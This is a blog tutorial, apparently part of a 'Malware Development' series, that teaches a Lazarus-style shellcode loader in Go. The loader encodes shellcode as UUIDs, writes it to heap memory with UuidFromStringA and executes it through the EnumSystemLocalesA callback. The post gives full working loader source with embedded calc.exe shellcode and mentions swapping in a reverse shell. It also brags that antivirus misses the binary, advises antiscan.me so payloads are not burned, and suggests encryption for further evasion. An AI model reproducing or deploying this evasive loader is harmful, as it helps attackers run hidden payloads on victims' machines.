Malware Development 2 - UuidFromString shellcode injection (Golang)
Introduction
Hello hackers!
I’m D3Ext and today we’ll learn an advanced shellcode injection technique used by Lazarus group which uses UuidFromStringA
API call
Explanation
In this demo we’ll be using a calc.exe shellcode instead of a reverse shell
calc.exe shellcode in Golang format
1 calc_shellcode := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
This technique uses UuidFromStringA
API call from Rpcrt4.dll which can be used to decode shellcode as uuid and writing it to a heap pointer. In this way it doesn’t use WriteProcessMemory
.
It also uses EnumSystemLocalesA
API call from kernel32.dll to resume and execute shellcode
At this point, if you have read my last post talking about CreateRemoteThread
you may have noticed that all shellcode injection technique try to achieve this results:
- 1. Allocate memory
- 2. Write buffer
- 3. Execute shellcode
As you can see the used functions change but the goal is the same so the key is doing this with uncommon API calls
Code
First of all import necessary packages to interact with memory and Windows API like unsafe
or golang.org/x/sys/windows
1
2
3
4
5
6
7
8
9
10
11
12
13
package main
import (
"os"
"fmt"
"log"
"bytes"
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
"github.com/google/uuid"
)
Before allocating any memory we should convert our shellcode to UUID
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
...
// Check shellcode length to add some zero
if 16 - len(shellcode) %16 < 16 {
pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
shellcode = append(shellcode, pad...)
}
var uuids []string
for i := 0; i < len(shellcode); i += 16 {
var uuidBytes []byte
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
uuidBytes = append(uuidBytes, buf...)
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
uuidBytes = append(uuidBytes, buf...)
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
uuidBytes = append(uuidBytes, buf...)
uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
// Use official Google package to convert bytes to uuid
u, err := uuid.FromBytes(uuidBytes)
if err != nil {
log.Fatal(fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err))
}
uuids = append(uuids, u.String())
}
...
Once we have converted the shellcode to UUIDs we start creating a heap and allocating memory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
// Import DLL
kernel32 := windows.NewLazyDLL("kernel32")
// Get functions from kernel32.dll
HeapCreate := kernel32.NewProc("HeapCreate")
HeapAlloc := kernel32.NewProc("HeapAlloc")
// Create heap
heapAddr, _, err := HeapCreate.Call(
0x00040000,
0,
0,
)
if heapAddr == 0 { // Handle error
log.Fatal(err)
}
// Allocate heap memory
addr, _, err := HeapAlloc.Call(
heapAddr,
0,
0x00100000,
)
if addr == 0 { // Handle error
log.Fatal(err)
}
...
Now we have to use UuidFromStringA
to decode and write the shellcode to memory iterating over all the UUIDs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
...
// Load dll
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
UuidFromStringA := rpcrt4.NewProc("UuidFromStringA")
addrPtr := addr
// Iterate over all UUIDs
for _, uuid := range uuids {
u := append([]byte(uuid), 0)
// Call function
rpcStatus, _, err := UuidFromStringA.Call(
uintptr(unsafe.Pointer(&u[0])),
addrPtr,
)
if rpcStatus != 0 { // Handle error
log.Fatal(err)
}
addrPtr += 16
}
...
And finally to execute the shellcode we use EnumSystemLocalesA
as there are some API calls which use callback functions so can be abused to execute shellcode.
1
2
3
4
5
6
7
8
9
10
11
...
// Get API call
EnumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
ret, _, err := EnumSystemLocalesA.Call(addr, 0)
if ret == 0 { // Handle error
log.Fatal(err)
}
...
Let’s put all together to make it work. The final code should be something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package main
/*
Author: D3Ext
Blog post: https://d3ext.github.io/posts/malware-dev-2/
*/
import (
"fmt"
"log"
"bytes"
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
"github.com/google/uuid"
)
func main(){
var shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
// Check shellcode length to add some zero
if 16 - len(shellcode) %16 < 16 {
pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
shellcode = append(shellcode, pad...)
}
// Convert shellcode to UUIDs
fmt.Println("Converting shellcode to UUIDs...")
var uuids []string
for i := 0; i < len(shellcode); i += 16 {
var uuidBytes []byte
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
uuidBytes = append(uuidBytes, buf...)
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
uuidBytes = append(uuidBytes, buf...)
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
uuidBytes = append(uuidBytes, buf...)
uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
// Use official Google package to convert bytes to uuid
u, err := uuid.FromBytes(uuidBytes)
if err != nil {
log.Fatal(fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err))
}
uuids = append(uuids, u.String())
}
fmt.Println("UUIDs amount:", len(uuids))
fmt.Println("Loading DLLs...")
kernel32 := windows.NewLazyDLL("kernel32")
HeapCreate := kernel32.NewProc("HeapCreate")
HeapAlloc := kernel32.NewProc("HeapAlloc")
EnumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
UuidFromStringA := rpcrt4.NewProc("UuidFromStringA")
// Create heap
fmt.Println("Calling HeapCreate...")
heapAddr, _, err := HeapCreate.Call(
0x00040000,
0,
0,
)
if heapAddr == 0 { // Handle error
log.Fatal(err)
}
// Allocate heap memory
fmt.Println("Calling HeapAlloc...")
addr, _, err := HeapAlloc.Call(
heapAddr,
0,
0x00100000,
)
if addr == 0 { // Handle error
log.Fatal(err)
}
addrPtr := addr
// Iterate over UUIDs to write shellcode
for _, uuid := range uuids {
u := append([]byte(uuid), 0)
fmt.Println("Calling UuidFromStringA with UUID: " + uuid)
rpcStatus, _, err := UuidFromStringA.Call(
uintptr(unsafe.Pointer(&u[0])),
addrPtr,
)
if rpcStatus != 0 { // Handle error
log.Fatal(err)
}
addrPtr += 16
}
// Execute shellcode
fmt.Println("Calling EnumSystemLocalesA...")
ret, _, err := EnumSystemLocalesA.Call(addr, 0)
if ret == 0 {
log.Fatal(err)
}
fmt.Println("Shellcode should have been executed!")
}
Now compile the final program, transfer it to the “victim” PC and execute it, this is the results
After executing it, a calc.exe appears! It works!
Now let’s upload it to antiscan.me (not VirusTotal as it distributes malware so may burn out our payloads) and here are the results:
As you can see any AV detected our .exe as malicious. However if you wanna add more protection to your shellcode injector you can use XOR or AES decryption
References
1
2
https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/
Conclusion
This technique isn’t well known as other techniques like CreateRemoteThread which relies on various common API calls like VirtualAllocEx
, VirtualProtectEx
, OpenProcess
, WriteProcessMemory
or SetThreadContext
. That’s why this technique works very well.
You have the source code here in my Github